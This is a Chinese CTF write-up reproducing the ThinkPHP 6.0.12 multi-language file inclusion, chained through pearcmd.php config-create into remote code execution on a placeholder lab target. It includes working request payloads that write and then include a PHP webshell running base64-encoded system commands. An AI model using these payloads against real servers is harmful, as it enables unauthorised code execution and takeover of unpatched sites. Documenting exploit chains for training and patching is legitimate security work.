BUUCTF-Real - Web - ThinkPHP 6 多语言本地文件包含 RCE

BUUCTF-Real - Web - ThinkPHP 6 多语言本地文件包含 RCE
Hunter题目信息
| 项 | 内容 |
|---|---|
| 比赛 | BUUCTF-Real(真实漏洞复现) |
| 方向 | Web |
| 难度 | 源 wp 未标注(Unknown) |
| 环境 | 授权靶场(已脱敏) |
| 靶机 | ThinkPHP V6.0.12LTS + PHP 7.4.33 + Apache 2.4.54 (Debian) |
原题访问方式、练习场及题目实例标识与公网入口均已按要求删除;靶场统一记为「授权靶场(已脱敏)」,请求地址用
http://target:8080占位。
信息收集
- ThinkPHP 6.0.12(< 6.0.13)存在多语言功能本地文件包含漏洞。
- 靶机为容器化 Debian:web 根目录
/var/www/public(printenv APACHE_DOCUMENT_ROOT确认),PHP 进程工作目录/var/www/html/。 - 容器默认安装 PEAR,
/usr/local/lib/php/pearcmd.php在register_argc_argv=On时会把 query string 解析为命令行参数。
漏洞分析
当 allow_lang_switch 开启时,think\Lang::detect() 直接使用 lang 请求参数作为语言包名称,并拼接到 include 路径中:
1 | $file = $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langSet . '.php'; |
由于 $langSet 直接来自 lang 参数且未做过滤,攻击者可通过 ../ 路径穿越包含任意 .php 文件。
利用链(LFI + pearcmd RCE)
ThinkPHP 6 容器默认安装 PEAR,/usr/local/lib/php/pearcmd.php 在 register_argc_argv=On 时会把 query string 解析为命令行参数。利用 config-create 命令可写入任意文件,将 webshell 写入磁盘,再用 LFI 包含执行。
关键环境细节:
- web 根目录:
/var/www/public - pearcmd 写入路径:
/var/www/html/(PHP 进程工作目录,而非 web 根目录) - 因此:webshell 写入后无法通过 HTTP 直接访问(
/shell.php返回 404),必须通过 lang 参数 LFI 包含该文件来执行代码。
利用过程
1. 写 webshell(pearcmd config-create)
payload 必须保持 < > ? 等原始字符不被 URL 编码,否则 PHP 短标签不会被解析:
1 | GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=system(base64_decode($_GET[1]));?>+/var/www/html/cmd.php |
+是 register_argc_argv 的参数分隔符- payload 作为
config-create的 root 参数,会原样写入配置文件 - 使用
base64_decode($_GET[1])避免命令中&等字符破坏 query string
2. LFI 包含 webshell 执行命令
1 | GET /index.php?lang=../../../../../../../../var/www/html/cmd&1=<base64编码的命令> |
- 需 7 层
../穿越(实测 depth=7 命中) lang值不含.php后缀(ThinkPHP 会自动拼接)- 命令经 base64 编码后传入
1参数
3. 读取 flag
1 | printenv FLAG |
flag 通过环境变量 FLAG 注入容器。
命令回显解析
命令输出会嵌入 #PEAR_Config 0.9 序列化结构的 php_dir 等字段值中(因为 webshell 文件是 PEAR 配置文件格式,payload 执行输出替换了配置字段值),从响应中提取即可看到命令输出。
完整 EXP
⚠️ 关键:payload 中的
<>?必须原样传入,不能被 URL 编码。curl 会自动编码 URL 里的<>,导致写入的是%3C%3F%3D字符串而非可执行 PHP;因此推荐用 Python 的urllib直接拼原始 URL(不经过parse.quote)。
1 | import urllib.request |
同目录
payload归档内容已并入本节,原始目标地址已替换为http://target:8080(授权靶场,已脱敏):
1 | # 写 webshell(pearcmd config-create,payload 保持原样不编码) |
若坚持用 curl(需手动处理编码):
1 | # 写 webshell:让 < > ? = ; 保持原样,仅空格/特殊分隔用 + 表达 |
Flag
flag{xxxx}(真实值已脱敏)。flag 通过环境变量 FLAG 注入容器,用 printenv FLAG 读取。
踩坑与总结
- payload 中 PHP 标签必须保持原样(不能 URL 编码
<>),否则写入的是%3C%3F%3D字符串而非可执行 PHP 代码。 - 命令中使用
&会截断 query string,用 base64 编码规避。 - LFI 包含 webshell 时,
lang值不含.php后缀(ThinkPHP 自动拼接),且需 7 层../穿越。 - webshell 写入
/var/www/html/后不能直接 HTTP 访问(web 根是/var/www/public),必须用 LFI 包含——这是本题最容易被卡住的环境差异。 - 命令输出会嵌在
#PEAR_Config 0.9序列化结构的字段值里,直接搜 flag 关键字即可。 - 真实漏洞复现题应关注版本边界(6.0.12 < 6.0.13)与「LFI 本身不执行、需借 pearcmd 落盘 + 再包含」这条组合链。
- 环境用完需销毁,复现仅限授权靶场。
仅记录授权靶场环境下的研究;完整 URL 与 exp 来自本地 WP 归档
payload文件,真实入口与实例 ID 均已脱敏。









